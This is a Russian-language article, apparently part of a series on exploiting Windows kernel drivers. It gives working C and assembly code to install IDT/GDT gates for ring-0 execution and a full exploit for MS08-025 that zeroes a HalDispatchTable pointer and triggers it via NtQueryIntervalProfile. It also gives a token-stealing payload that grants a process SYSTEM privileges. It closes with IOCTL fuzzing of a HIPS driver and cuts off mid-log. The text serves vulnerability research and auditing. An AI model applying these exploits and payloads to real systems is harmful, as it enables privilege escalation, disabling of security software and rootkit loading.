- Переполнение стека.
- Переполнение пула.
Возможность перезаписи произвольного байта памяти существует в основном из-за ошибок при проектировании и на практике встречается весьма часто. Такую уязвимость эксплуатировать проще всего, и сейчас я покажу, как выполнить произвольный код в режиме ядра на примере перезаписи элемента в таблице векторов прерываний (IDT). Каждая запись IDT представляет собой два двойных слова, и может описывать шлюз вызова, шлюз прерывания или шлюз задачи. Нас интересует исключительно шлюз прерывания, имеющий следующий формат:
Рисунок 4. Шлюз прерывания.
Поля Offset High и Offset Low содержат старшие и младшие 16 бит адреса вектора (обработчика) прерывания. Segment Selector – это значение кодового селектора, которое будет помещено процессором в сегментный регистр CS после генерации прерывания. В Windows значение кодового селектора для режима ядра всегда равно 8. Бит P (Present) определяет доступность данной записи в IDT и если она используется – должен быть установлен в значение 1. DPL (Descriptor Privileges Level) – контролирует доступ к вектору, и в нашем случае он должен содержать значение 3. Бит D определяет разрядность записи в IDT таблице: должен содержать 1 для 32-битного режима и 0 для 16-битного.
Теперь, зная формат записи таблицы векторов прерываний, можно написать код, который устанавливает свой шлюз прерывания и вызывает его вектор:
Код:
#pragma pack(1)
typedefstruct _SIDT
{
unsignedshort limit;
unsignedlong base;
} SIDT,
*PSIDT;
#pragma pack()
#pragma pack(1)
typedefstruct _IDT_ENTRY
{
unsignedshort low_offset;
unsignedshort segment_selector;
unsignedshort access;
unsignedshort high_offset;
} IDT_ENTRY,
*PIDT_ENTRY;
#pragma pack()
#define INT_NUM 0xDD
__declspec(naked) void__stdcall r0_handler_idt(void)
{
__asm
{
// этот код выполняется с привилегиями ядра// здесь можно совершать какие-то полезные действия// ...// возвращаемся обратно
iretd
}
}
void call_r0_idt(void)
{
SIDT Idt;
IDT_ENTRY IdtEntry;
// получаем адрес IDT-таблицы__asm sidt Idt;
// заполняем своё поле IDT-таблицы
IdtEntry.low_offset = (WORD)((DWORD)r0_handler_idt & 0xFFFF);
IdtEntry.segment_selector = 8; // кодовый селектор для kernel mode/*
1 1 1 0 1 1 1 0 0 0 0 0 0 0 0 = EE00h
------------------------------
| | D | | | |
|P| P |0 D 1 1 0|0 0 0|reserved|
| | L | | | |
------------------------------
*/
IdtEntry.access = 0xEE00;
IdtEntry.high_offset = (WORD)((DWORD)r0_handler_idt >> 16);
DWORD Addr = Idt.base + INT_NUM * sizeof(IDT_ENTRY);
// пишем наше поле в память
WriteKernelMemory(Addr, &IdtEntry, sizeof(IdtEntry));
// вызываем прерывание__asmint INT_NUM;
}
Номер вектора прерывания выбирается произвольно, с тем расчётом, чтобы он был свободен на статистически как можно большем количестве тестовых машин. Благо, в Windows большинство векторов прерываний защищённого режима выше 30h свободно почти всегда.
Для выполнения своего кода в режиме ядра можно также использовать установку шлюза вызова в глобальной таблице дескрипторов (GDT). Этот код не имеет абсолютно никаких преимуществ перед приведенным выше примером с IDT, и использование того или иного метода – дело исключительно личных предпочтений. Я же решил показать оба для полноты картины. Размер записи глобальной таблицы дескрипторов также равен двум двойным словам, и шлюз вызова имеет следующий формат:
Рисунок 5. Шлюз вызова.
Поля Offset High, Offset Low, Segment Selector, P и DPL имеют такие же значения, как и аналогичные в шлюзе прерывания. Type определяет тип шлюза, для 32-битного шлюза вызова он должен быть равен 12 (1100b). Поле Parameters Count определяет количество двойных слов, которые будут скопированы из стека в случае его переключения, в нашем случае это значение должно быть нулевым.
Теперь напишем код, который будет устанавливать шлюз вызова и выполнять передачу управления обработчику шлюза путём длинного межсегментного вызова:
Код:
#pragma pack(1)
typedefstruct _SGDT
{
unsignedshort limit;
unsignedlong base;
} SGDT,
*PSGDT;
#pragma pack()
#pragma pack(1)
typedefstruct _CALLGATE_DESCRIPTOR
{
unsignedshort low_offset;
unsignedshort selector;
unsignedchar param_count:4;
unsignedchar some_bits:4;
unsignedchar type:4;
unsignedchar app_system:1;
unsignedchar dpl:2;
unsignedchar present:1;
unsignedshort high_offset;
} CALLGATE_DESCRIPTOR,
*PCALLGATE_DESCRIPTOR;
#pragma pack()
#define GDT_NUM 0x60
__declspec(naked) void__stdcall r0_handler_gdt(void)
{
__asm
{
// этот код выполняется с привилегиями ядра// здесь можно совершать какие-то полезные действия// ...// возвращаемся обратно
retf
}
}
void call_r0_gdt(void)
{
SGDT Gdt;
CALLGATE_DESCRIPTOR Callgate;
// получаем адрес GDT таблицы__asm sgdt Gdt;
// заполняем поля нашего шлюза вызова
Callgate.low_offset = (WORD)((DWORD)r0_handler_gdt & 0xFFFF);
Callgate.selector = 8; // кодовый селектор для kernel mode
Callgate.param_count = 0;
Callgate.some_bits = 0;
// тип GDT-записи (в нашем случае - 32-х битный шлюз вызова)
Callgate.type = 12;
Callgate.app_system = 0;
Callgate.dpl = 3; // descriptor privilege level // этот бит указывает на то, что данная запись в GDT валидна и используется
Callgate.present = 1;
Callgate.high_offset = (WORD)((DWORD)r0_handler_gdt >> 16);
DWORD Addr = Gdt.base + GDT_NUM * sizeof(CALLGATE_DESCRIPTOR);
// записываем шлюз в GDT
WriteKernelMemory(Addr, &Callgate, sizeof(Callgate));
WORD FarCall[3];
FarCall[0] = 0;
FarCall[1] = 0;
FarCall[2] = (GDT_NUM * sizeof(CALLGATE_DESCRIPTOR)) | 3;
// выполняем длинный межсегментный вызов__asm call fword ptr [FarCall];
}
Возможно, многие из вас зададут вопрос: почему, имея возможность перезаписи произвольного байта памяти ядра, нам просто не подменить адрес обработчика системного сервиса в SDT вместо возни с каким-то таблицами процессора? Без сомнения, перезаписать адрес какого-нибудь редко используемого системного сервиса несколько проще, однако у этого метода есть один существенный подводный камень. Как известно, указатель на непосредственно саму таблицу адресов обработчиков системных вызовов (KiServiceTable) при их диспетчеризации ядро получает из KeServiceDescriptorTable, куда он заносится на этапе инициализации системы. KiServiceTable достаточно легко находится с помощью анализа секции базовых поправок бинарного файла ядра, но подвох заключается в том, что очень часто её адрес в KeServiceDescriptorTable бывает подменён со стороны руткита или вполне легального софта (например, Kaspersky Internet Security когда-то этим грешил), решившего расширить эту таблицу для добавления в неё своих дополнительных системных сервисов. Другими словами, у нас нет никакой возможности найти адрес реально используемой таблицы адресов обработчиков системных вызовов из пользовательского режима.
Стоит помнить, что в Windows GDT- и IDT-таблицы свои для каждого процессора (однако их содержимое полностью дублируется). Поэтому перед вызовом приведенных выше функций call_r0_gdt или call_r0_idt необходимо «привязать» текущий поток к одному конкретному процессору. Для этого можно использовать функцию SetThreadAffinityMask, которая устанавливает битовую маску размером в два двойных слова, где каждый установленный бит обозначает процессор, на котором целевому потоку будет разрешено выполняться:
Код:
SetThreadAffinityMask(GetCurrentThread(), 1);
С уязвимостями, основанными на возможности перезаписи произвольного байта, мы разобрались, но что делать, когда у атакующего получается только обнулить память по произвольному адресу (примером подобной уязвимости может служить описанная выше MS08-025)? Очевидно, что ноль можно использовать как адрес, по которому можно осуществлять передачу управления (в пользовательском режиме действительно можно выделить страницу памяти, которая будет иметь нулевой адрес), однако куда этот нулевой адрес записать? GDT и IDT не подходят, KiServiceTable ненадёжна, поэтому при беглом рассмотрении в голову приходят только сравнительно сложные и нестабильные варианты с поиском инструкции типа jmp imm32 в кодовой секции ядра и перезаписью её операнда. Но если копнуть глубже, можно найти намного более изящное решение.
В таблице экспорта бинарного файла ядра, помимо всего прочего, есть одна достаточно интересная запись – HalDispatchTable. При более близком рассмотрении можно установить, что это действительно таблица, которая импортируется модулем hal.dll (библиотека уровня аппаратных абстракций). Эта таблица содержит указатели на некоторые функции hal.dll, которые используются ядром и, как несложно догадаться, заполняется в коде самой hal.dll:
Код:
hal!HalInitSystem+0x76:
806eb132 a1e0e56c80 mov eax,dwordptr [hal!_imp__HalDispatchTable (806ce5e0)]
806eb137 c74004ba4b6e80 mov dwordptr [eax+4],offset hal!HaliQuerySystemInformation (806e4bba)
806eb13e a1e0e56c80 mov eax,dwordptr [hal!_imp__HalDispatchTable (806ce5e0)]
806eb143 c7400836746e80 mov dwordptr [eax+8],offset hal!HalpSetSystemInformation (806e7436)
806eb14a a1e0e56c80 mov eax,dwordptr [hal!_imp__HalDispatchTable (806ce5e0)]
806eb14f 833803 cmp dwordptr [eax],3
806eb152 724f jb hal!HalInitSystem+0xe7 (806eb1a3)
806eb154 c740347e686e80 mov dwordptr [eax+34h],offset hal!HaliInitPnpDriver (806e687e)
806eb15b a1e0e56c80 mov eax,dwordptr [hal!_imp__HalDispatchTable (806ce5e0)]
806eb160 c7403c80266d80 mov dwordptr [eax+3Ch],offset hal!HaliGetDmaAdapter (806d2680)
806eb167 a1b8e56c80 mov eax,dwordptr [hal!_imp__HalPrivateDispatchTable (806ce5b8)]
806eb16c c7400cb6686e80 mov dwordptr [eax+0Ch],offset hal!HaliLocateHiberRanges (806e68b6)
806eb173 a1b8e56c80 mov eax,dwordptr [hal!_imp__HalPrivateDispatchTable (806ce5b8)]
806eb178 c7402c10516d80 mov dwordptr [eax+2Ch],offset hal!HalpBiosDisplayReset (806d5110)
806eb17f a1e0e56c80 mov eax,dwordptr [hal!_imp__HalDispatchTable (806ce5e0)]
806eb184 c74038cc726e80 mov dwordptr [eax+38h],offset hal!HaliInitPowerManagement (806e72cc)
806eb18b a1e0e56c80 mov eax,dwordptr [hal!_imp__HalDispatchTable (806ce5e0)]
806eb190 c74040506d6e80 mov dwordptr [eax+40h],offset hal!HalacpiGetInterruptTranslator (806e6d50)
В исходных текстах ядра эта таблица объявлена так:
Код:
typedef
struct
{
ULONG Version;
pHalQuerySystemInformation HalQuerySystemInformation;
pHalSetSystemInformation HalSetSystemInformation;
pHalQueryBusSlots HalQueryBusSlots;
ULONG Spare1;
pHalExamineMBR HalExamineMBR;
pHalIoAssignDriveLetters HalIoAssignDriveLetters;
pHalIoReadPartitionTable HalIoReadPartitionTable;
pHalIoSetPartitionInformation HalIoSetPartitionInformation;
pHalIoWritePartitionTable HalIoWritePartitionTable;
pHalHandlerForBus HalReferenceHandlerForBus;
pHalReferenceBusHandler HalReferenceBusHandler;
pHalReferenceBusHandler HalDereferenceBusHandler;
pHalInitPnpDriver HalInitPnpDriver;
pHalInitPowerManagement HalInitPowerManagement;
pHalGetDmaAdapter HalGetDmaAdapter;
pHalGetInterruptTranslator HalGetInterruptTranslator;
pHalStartMirroring HalStartMirroring;
pHalEndMirroring HalEndMirroring;
pHalMirrorPhysicalMemory HalMirrorPhysicalMemory;
pHalEndOfBoot HalEndOfBoot;
pHalMirrorVerify HalMirrorVerify;
} HAL_DISPATCH, *PHAL_DISPATCH;
Для нас интерес представляет самая первая функция – HalQuerySystemInformation. Прототип её следующий:
Код:
typedef
NTSTATUS
(*pHalQuerySystemInformation)(
IN HAL_QUERY_INFORMATION_CLASS InformationClass,
IN ULONG BufferSize,
IN OUT PVOID Buffer,
OUT PULONG ReturnedLength
);
Если отследить все места, из которых она вызывается, можно заметить, что она вызывается из KeQueryIntervalProfile:
Код:
nt!KeQueryIntervalProfile:
8063a8cc 8bff mov edi,edi
8063a8ce 55 push ebp
8063a8cf 8bec mov ebp,esp
8063a8d1 83ec0c sub esp,0Ch
8063a8d4 8b4508 mov eax,dwordptr [ebp+8]
; проверяем, равен ли первый параметр функции нулю (ProfileTime)
8063a8d7 85c0 test eax,eax
8063a8d9 7507 jne nt!KeQueryIntervalProfile+0x16 (8063a8e2)
; возвращаем значение глобальной переменной KiProfileInterval
8063a8db a114925480 mov eax,dwordptr [nt!KiProfileInterval (80549214)]
8063a8e0 eb32 jmp nt!KeQueryIntervalProfile+0x48 (8063a914)
; проверяем, равен ли первый параметр функции единице (ProfileAlignmentFixup)
8063a8e2 83f801 cmp eax,1
8063a8e5 7507 jne nt!KeQueryIntervalProfile+0x22 (8063a8ee)
; возвращаем значение глобальной переменной KiProfileAlignmentFixupInterval
8063a8e7 a1a81f5580 mov eax,dwordptr [nt!KiProfileAlignmentFixupInterval (80551fa8)]
8063a8ec eb26 jmp nt!KeQueryIntervalProfile+0x48 (8063a914)
; во всех остальных случаях вызываем HalQuerySystemInformation
8063a8ee 8945f4 mov dwordptr [ebp-0Ch],eax
8063a8f1 8d4508 lea eax,[ebp+8]
8063a8f4 50 push eax
8063a8f5 8d45f4 lea eax,[ebp-0Ch]
8063a8f8 50 push eax; InformationClass = 0Сh (HalProfileSourceInformation)
8063a8f9 6a0c push 0Ch
8063a8fb 6a01 push 1
8063a8fd ff153c4a5480 call dwordptr [nt!HalDispatchTable+0x4 (80544a3c)]
8063a903 85c0 test eax,eax
8063a905 7c0b jl nt!KeQueryIntervalProfile+0x46 (8063a912)
8063a907 807df800 cmp byteptr [ebp-8],0
8063a90b 7405 je nt!KeQueryIntervalProfile+0x46 (8063a912)
8063a90d 8b45fc mov eax,dwordptr [ebp-4]
8063a910 eb02 jmp nt!KeQueryIntervalProfile+0x48 (8063a914)
8063a912 33c0 xor eax,eax
8063a914 c9 leave
8063a915 c20400 ret 4
А KeQueryIntarvalProfile, в свою очередь, практически сразу вызывается из системного сервиса NtQueryIntervalProfile:
Код:
nt!NtQueryIntervalProfile:
8060c82e 6a0c push 0Ch
8060c830 68d0ca4d80 push offset nt!ExpLuidIncrement+0x1a0 (804dcad0)
8060c835 e8a6a8f2ff call nt!_SEH_prolog (805370e0)
; получаем PreviousMode
8060c83a 64a124010000 mov eax,dwordptrfs:[00000124h]
8060c840 8a9840010000 mov bl,byteptr [eax+140h]
8060c846 84db test bl,bl
8060c848 743a je nt!NtQueryIntervalProfile+0x56 (8060c884)
8060c84a 8365fc00 and dwordptr [ebp-4],0
; если вызов был из пользовательского режима – проверяем переданный указатель
8060c84e 8b750c mov esi,dwordptr [ebp+0Ch]
8060c851 a1b47b5580 mov eax,dwordptr [nt!MmUserProbeAddress (80557bb4)]
8060c856 3bf0 cmp esi,eax
8060c858 7206 jb nt!NtQueryIntervalProfile+0x32 (8060c860)
8060c85a c70000000000 mov dwordptr [eax],0
8060c860 8b06 mov eax,dwordptr [esi]
8060c862 8906 mov dwordptr [esi],eax
8060c864 834dfcff or dwordptr [ebp-4],0FFFFFFFFh
8060c868 eb1d jmp nt!NtQueryIntervalProfile+0x59 (8060c887)
8060c86a 8b45ec mov eax,dwordptr [ebp-14h]
8060c86d 8b00 mov eax,dwordptr [eax]
8060c86f 8b00 mov eax,dwordptr [eax]
8060c871 8945e4 mov dwordptr [ebp-1Ch],eax
8060c874 33c0 xor eax,eax
8060c876 40 inc eax
8060c877 c3 ret
8060c878 8b65e8 mov esp,dwordptr [ebp-18h]
8060c87b 834dfcff or dwordptr [ebp-4],0FFFFFFFFh
8060c87f 8b45e4 mov eax,dwordptr [ebp-1Ch]
8060c882 eb2b jmp nt!NtQueryIntervalProfile+0x81 (8060c8af)
8060c884 8b750c mov esi,dwordptr [ebp+0Ch]
8060c887 ff7508 push dwordptr [ebp+8]
; KeQueryIntervalProfile получает на вход
; всего один параметр (KPROFILE_SOURCE)
8060c88a e83de00200 call nt!KeQueryIntervalProfile (8063a8cc)
8060c88f 84db test bl,bl
8060c891 7418 je nt!NtQueryIntervalProfile+0x7d (8060c8ab)
8060c893 c745fc01000000 mov dwordptr [ebp-4],1
; в первом параметре (указатель) возвращаем значение,
; которое вернула KeQueryIntervalProfile
8060c89a 8906 mov dwordptr [esi],eax
8060c89c 834dfcff or dwordptr [ebp-4],0FFFFFFFFh
8060c8a0 eb0b jmp nt!NtQueryIntervalProfile+0x7f (8060c8ad)
Системный сервис NtQueryIntervalProfile используется для работы с объектами ядра типа «профиль», а именно – для получения значения задержки между тиками счётчика производительности:
Код:
NTSYSAPI
NTSTATUS
NTAPI
NtSetIntervalProfile(
IN ULONG Interval,
IN KPROFILE_SOURCE Source
);
Таким образом, затерев в HalDispatchTable нулевым байтом поле HalQuerySystemInformation и вызвав NtQueryIntervalProfile, мы передадим управление нашему коду, находящемуся по нулевому адресу, и он будет выполнен с привилегиями режима ядра.
Теперь самое время продемонстрировать эту технику на практике, показав пример эксплуатации уже известной нам уязвимости MS08-025.
Код:
/*
эта функция получает информацию о системе
выделяя нужное количество памяти под неё
*/
PVOID GetSysInf(SYSTEMINFOCLASS Class)
{
NTSTATUS ns;
ULONG RetSize, Size = 0x1000;
PVOID Info;
while (true)
{
// выделяем память под информациюif ((Info = LocalAlloc(LMEM_FIXED | LMEM_ZEROINIT, Size)) == NULL)
{
return NULL;
}
// получаем информацию о системе
ns = NtQuerySystemInformation(Class, Info, Size, &RetSize);
if (ns == STATUS_INFO_LENGTH_MISMATCH)
{
// слишком мало памяти, пробуем ещё раз, выделяя буффер большего размера
LocalFree(Info);
Size += 0x100;
}
elsebreak;
}
if (!NT_SUCCESS(ns))
{
// NtQuerySystemInformation вернула статус ошибкиif (Info)
{
LocalFree(Info);
}
return NULL;
}
return Info;
}
/*
эта функция затирает нулями произвольное двойное слово в памяти режима ядра
*/void ClearKernelDword(DWORD Addr)
{
// нам понадобиться валидный хэндл окна
HWND hDesktopWnd = GetDesktopWindow();
if (hDesktopWnd)
{
// затираем нулями старшие 16 бит
NtUserMessageCall(hDesktopWnd, 0x0d, 0x80000000, Addr + 2, 0, 0, 0);
// затираем нулями младшие 16 бит
NtUserMessageCall(hDesktopWnd, 0x0d, 0x80000000, Addr + 0, 0, 0, 0);
}
}
__declspec(naked) void__stdcall r0_handler(void)
{
__asm
{
// этот код выполняется с привилегиями режима ядра// здесь можно совершать какие-то полезные действия// ...// возвращаемся обратно
mov eax,0xc00000001
// HalQuerySystemInformation получает через стек 4 параметра, // которые мы должны за собой почистить
retn 0x1C
}
}
/*
получение адреса какой-либо функции ядра
*/
PVOID GetKernelProcAddr(char *lpszProcName)
{
PVOID Addr = NULL;
// получаем информацию о загруженых системных модулях
PSYSTEM_MODULE_INFORMATION pModules = (PSYSTEM_MODULE_INFORMATION)GetSysInf(SystemModuleInformation);
if (pModules)
{
// информация о ядре всегда в первой записи списка,
// получаем его имя и базовый адрес
DWORD dwKernelBase = pModules->aSM[0].Base;
char *lpszKernelName =
pModules->aSM[0].ModuleNameOffset + pModules->aSM[0].ImageName;
// загружаем ядро в адресное пространство своего процесса
HMODULE hKrnl =
LoadLibraryEx(lpszKernelName, 0, DONT_RESOLVE_DLL_REFERENCES);
if (hKrnl)
{
// получаем адрес нужной функции
Addr = GetProcAddress(hKrnl, lpszProcName);
if (Addr)
{
// вычисляем адрес этой функции в "реальном" ядре
Addr = (PVOID)((DWORD)Addr - (DWORD)hKrnl + dwKernelBase);
}
// выгружаем ранее загруженный файл ядра
FreeLibrary(hKrnl);
}
// освобождаем память с информацией о системных модулях
LocalFree(pModules);
}
return Addr;
}
void exploit_ms08_025(void)
{
DWORD MappedAddress = 1;
DWORD Size = 0x1000;
// выделяем память по нулевому адресу
NTSTATUS ns = NtAllocateVirtualMemory(
GetCurrentProcess(),
(PVOID *)&MappedAddress,
0,
&Size,
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE
);
if (!NT_SUCCESS(ns))
{
return;
}
// так как NtAllocateVirtualMemory вызывается с флагом MEM_TOP_DOWN, // она попытается выделить память по как можно меньшему адресу, // однако, не факт, что это будет именно адрес 0x00000000if (MappedAddress == 0)
{
// пишем в нулевую страницу памяти переход на нашу функцию, // которая будет исполняться с привилегиями режима ядра// push imm32
*(PUCHAR)(MappedAddress + 0) = 0x68;
*(PDWORD)(MappedAddress + 1) = (DWORD)r0_handler;
// ret
*(PUCHAR)(MappedAddress + 5) = 0xC3;
// получаем адрес HalDispatchTable
// (описание структуры HAL_DISPATCH см. выше)
PHAL_DISPATCH pHalDispatchTable =
(PHAL_DISPATCH)GetKernelProcAddr("HalDispatchTable");
if (pHalDispatchTable)
{
typedef NTSTATUS (__stdcall * funcNtQueryIntervalProfile)(
ULONG ProfileSource,
PULONG Interval
);
// получаем адресс функции NtQueryIntervalProfile в ntdll.dll
funcNtQueryIntervalProfile fNtQueryIntervalProfile =
(funcNtQueryIntervalProfile)GetProcAddress(
GetModuleHandle("ntdll.dll"),
"NtQueryIntervalProfile"
);
if (fNtQueryIntervalProfile)
{
DWORD Interval = 0, ProfileTotalIssues = 2;
// обнуляем указатель на HalQuerySystemInformation в HalDispatchTable
ClearKernelDword(
(DWORD)&pHalDispatchTable->HalQuerySystemInformation);
// после этого вызова управление получает r0_handler,// который выполняется с привилегиями режима ядра
fNtQueryIntervalProfile(ProfileTotalIssues, &Interval);
}
}
}
// освобождаем выделенную ранее память
NtFreeVirtualMemory(GetCurrentProcess(),
(PVOID *)&MappedAddress, &Size, MEM_RELEASE);
}
Эксплуатация локальных переполнений стека в драйверах режима ядра более чем тривиальна, и абсолютно ничем не отличается от эксплуатации схожих уязвимостей в обычных Windows-приложениях. Однако некоторые незначительные отличия всё же имеются:
- Шеллкод не обязательно копировать в стек, достаточно просто затирать адрес возврата указателем на код, находящийся в памяти пользовательского режима. Это избавляет нас от манипуляций по поиску инструкций типа jmp esp.
- В драйверах для защиты стековой памяти не используются security cookies (флаг компилятора /GS).
Код:
typedef
struct POOL_HEADER
{
USHORT PreviousSize:9;
USHORT PoolIndex:7;
USHORT BlockSize:9;
USHORT PoolType:7;
ULONG PoolTag;
union
{
USHORT PoolTagHash;
LIST_ENTRY FreeEntry;
} u1;
} *PPOOL_HEADER;
Полезная нагрузка
Что же может сделать злоумышленник (или, например, специалист по аудиту безопасности), получивший возможность выполнять свой код в режиме ядра? Да всё что угодно! Обычно выполняются манипуляции по снятию перехватов, которые были установлены защитными системами, повышению привилегий для своего процесса, или загрузке драйвера руткита прямо из памяти.
Дальнейшие шаги в эксплуатации уязвимостей
Обычно выполнение произвольного кода с привилегиями режима ядра преследует вполне определенные цели, среди которых злоумышленнику могут быть полезны манипуляции по снятию перехватов, которые были установлены защитными системами, повышению привилегий для своего процесса, или загрузке драйвера руткита прямо из памяти. Но очень часто подобные манипуляции также являются целью и специалиста по информационной безопасности, который в рамках проведённого аудита ПО хочет на наглядном примере продемонстрировать опасность найденных уязвимостей. По этой причине разработку «полезной нагрузки» для эксплойта нам также стоит рассмотреть.
Первым делом нужно заранее получить и сохранить в глобальных переменных адреса функций ядра, которые планируется использовать. Непосредственно внутри процедуры, выполняющей какие-либо действия в режиме ядра, необходимо перезагрузить сегментный регистр FS, так как в пользовательском режиме и режиме ядра он указывает на совершенно разные структуры: Thread Environment Block (TEB) и Processor Control Region (KPCR) соответственно. Если в процессе эксплуатации был затерт нулями какой-либо адрес в HalDispatchTable, его нужно восстановить (или заменить заглушкой, если такой возможности нет), иначе – BSoD при любом вызове этой функции в контексте какого-либо другого процесса.
Для повышения привилегий какого-либо процесса достаточно выполнить следующий ряд действий:
- Получаем указатель на структуру EROCESS, описывающую процесс System (его можно найти по PID-у, который всегда равен 4).
- Получаем указатель на структуру EROCESS, описывающую целевой процесс, для которого необходимо выполнить повышение привилегий.
- Копируем значение поля EROCESS::AccessToken из системного процесса в целевой. Смещение данного поля в структуре необходимо использовать с учётом того, что на разных версиях Windows оно разное, и получается, как правило, из отладочных символов к бинарному файлу ядра.
Код:
void GetSystemPrivileges(void)
{
/*
прежде чем эта функция будет выполнена, необходимо
проинициализировать следующие глобальные переменные,
которые содержат адреса соответствующих функций ядра:
fIoGetCurrentProcess - nt!IoGetCurrentProcess()
fPsLookupProcessByProcessId - nt!PsLookupProcessByProcessId()
fExAllocatePool - nt!ExAllocatePool()
для получения этих адресов можно использовать функцию
GetKernelProcAddr, которая фигурировала в предыдущем примере
глобальная переменная EPROCESS_TokenOffset должна содержать
смещение поля AcessToken в структуре EPROCESS для текущего ядра,
версию которого можно получить используя документированные в
MSDN функции GetVersion/GetVersionEx
*/
NTSTATUS ns;
PVOID pCurrentProcess, pSystemProcess;
PVOID pToken;
__asm
{
// устанавливаем в FS значение, используемое в режиме ядра
mov ax,0x30
mov fs,ax
}
if (pHalDispatchTable->HalQuerySystemInformation == NULL)
{
// устанавливаем заглушку вместо HalQuerySystemInformation,// если указатель на неё был обнулён
PVOID Buff = fExAllocatePool(NonPagedPool, 8);
if (Buff)
{
char Code[] =
"/xB8/x01/x00/x00/xC0"// mov eax,0xC00000001 "/xC2/x1C/x00"; // retn 0x1C
memcpy(Buff, Code, 8);
pHalDispatchTable->HalQuerySystemInformation = (pHalQuerySystemInformation)Buff;
}
}
// получаем указатель на текущий процесс
pCurrentProcess = fIoGetCurrentProcess();
// получаем указатель на процесс 'System' (PID: 4)
ns = fPsLookupProcessByProcessId((HANDLE)4, &pSystemProcess);
if (NT_SUCCESS(ns))
{
// получаем значение поля AccessToken из системного процесса
pToken = *(PVOID *)((PUCHAR)pSystemProcess + EPROCESS_TokenOffset);
// устанавливаем значение AccessToken для целевого процесса
*(PVOID *)((PUCHAR)pCurrentProcess + EPROCESS_TokenOffset) = pToken;
}
__asm
{
// возвращаем в FS старое значение для пользовательского режима
mov ax,0x3B
mov fs,ax
}
}
__declspec(naked) void__stdcall r0_handler(void)
{
__asm
{
// этот код выполняется с привилегиями ядра
call GetSystemPrivileges
// возвращаемся обратно
mov eax,0xC00000001
retn 0x1C
}
}
Автоматизация выявления уязвимостей
Большинство уязвимостей, существующих из-за неправильной обработки данных, которые драйвер получает в IRP-запросе, довольно однотипны, что заставляет нас задаться вполне рациональным вопросом – “А можно ли автоматизировать их выявление?” Да, это более чем возможно. Автоматизированный анализ хоть и не избавит исследователя от рутинной работы полностью, но поможет существенно сократить её количество, задавая общее направление для дальнейшего копания. Ведь давно замечено, что обычно некорректная обработка входных данных не является разовым явлением и, найдя одну, пусть даже не эксплуатируемую уязвимость, мы с огромной вероятностью найдём и другую, проследив либо data flow, либо другие участки программного кода, выполняющие аналогичную задачу.
Для наших целей замечательно подойдёт метод фаззинга. В самом обобщенном понимании, суть фаззинга заключается в генерации и отправке заведомо некорректных входных данных с расчётом на то, что код, который их обрабатывает, попросту не учитывает возможность присутствия подобных некорректностей. Очевидно, что для формирования этих данных нам нужно как минимум знать их формат, что в случае с обработкой IRP-запросов, посылаемых неизвестным приложением неизвестному драйверу, опять упирается в ручной анализ. Однако из этого замкнутого круга есть выход. Взгляните на схему ниже, она несколько отличается от схемы нормального прохождения IRP-запроса, приведенной в первой части статьи:
Рисунок 6. Взаимодействие фаззера с системой.
Драйвер нашей утилиты-фаззера будет перехватывать функцию ядра NtDeviceIoControlFile, получая, таким образом, возможность контролировать отправку всех IRP-запросов от приложений к драйверам режима ядра. Также, во время обработки запроса к интересующему нас драйверу, фаззер отправляет свой запрос, используя такие же размеры буферов и I/O Control Code, но генерируя входные данные псевдослучайным образом. Это частично и избавляет нас от необходимости проведения реверс-инжениринга с целью узнать формат принимаемых драйвером данных, ведь достаточно будет узнать хотя бы I/O Control Code и их размер.
Для проведения фаззинга мной была написана утилита IOCTL Fuzzer, которая помимо основной функциональности имеет режим мониторинга с выводом как основных параметров и информации об IRP-запросе, так и HEX-дампа данных, в окно консоли или текстовый лог-фал. Фильтрация целевых запросов (т.е., отсеивание только тех, которые нас интересуют) осуществляется по allow/deny-спискам, где в качестве параметров для фильтрации можно указывать:
- Путь к исполняемому файлу процесса, в контексте которого осуществляется отправка IRP-запроса.
- Имя устройства, которому адресован IRP-запрос.
- Имя драйвера, которому принадлежит целевое устройство.
- I/O Control Code целевого IRP-запроса.
Рисунок 7. Фаззер в процессе работы.
Обычно тестирование какого-либо ПО с помощью данной утилиты производится в несколько шагов:
- Подготавливаем виртуальную машину, в гостевой ОС которой устанавливаем дистрибутив тестируемого продукта.
- Подключаем к виртуальной машине удалённый отладчик режима ядра (подробнее о том, как настроить связку WinDbg + VMware можно прочесть здесь: http://silverstr.ufies.org/lotr0/windbg-vmware.html).
- Запускаем IOCTL Fuzzer в режиме фаззинга.
- Выполняем произвольные манипуляции с тестируемым ПО до тех пор, пока отладчик не сообщит нам о возникновении необрабатываемого исключения (это значит, что в обычных условиях, скорее всего, это закончилось бы аварийным завершением работы системы).
- Возобновляем выполнение кода на виртуальной машине (если вы используете WinDbg – нажмите F5), после чего ОС, работающая на виртуальной машине, запишет аварийный дамп (crash dump) на диск.
- В ходе анализа аварийного дампа из него извлекается информация о том, при обработке какого именно запроса тестируемое приложение потерпело крах.
- При необходимости проводится ручной анализ машинного кода исполняемых файлов тестируемого ПО. Разумеется, на основе полученных в п.6 данных.
Идея проверить фаззером именно DefenceWall HIPS пришла мне в голову после прочтения результатов теста на эффективность защиты от новейших вредоносных программ. Этот тест проводился порталом anti-malware (ознакомиться с результатами можно здесь: http://www.anti-malware.ru/node/885), и именно DefenceWall (последняя версия на момент тестирования – 1.74), сравнительно молодой продукт от российских разработчиков, занял первое место по итогам тестирования.
Сказано – сделано. Довольно быстро на виртуальной машине произошло падение подопытного HIPS-а. В логе отладочных сообщений, выводимых фаззером, была следующая информация:
Код:
'C:\DefenseWall\DefenseWall.exe' (PID: 188)
'\Device\dwall' (0x81785670) [\SystemRoot\System32\Drivers\dwall.sys]
IOCTL Code: 0x00222050, Method: METHOD_BUFFERED
InBuff: 0x0126fd50, InSize: 0x0000000e
OutBuff: 0x0126fd50, OutSize: 0x0000000e
'C:\DefenseWall\DefenseWall.exe' (PID: 188)
'\Device\dwall' (0x81785670) [\SystemRoot\System32\Drivers\dwall.sys]
IOCTL Code: 0x00222050, Method: METHOD_BUFFERED
InBuff: 0x0126fd50, InSize: 0x0000000e
OutBuff: 0x0126fd50, OutSize: 0x0000000e
'C:\DefenseWall\DefenseWall.exe' (PID: 188)
'\Device\dwall' (0x81785670) [\SystemRoot\System32\Drivers\dwall.sys]
IOCTL Code: 0x0022200c, Method: METHOD_BUFFERED
InBuff: 0x00dfffb0, InSize: 0x00000004
OutBuff: 0x00dfffb0, OutSize: 0x00000004
'C:\DefenseWall\DefenseWall.exe' (PID: 188)
'\Device\dwall' (0x81785670) [\SystemRoot\System32\Drivers\dwall.sys]
IOCTL Code: 0x00222094, Method: METHOD_BUFFERED
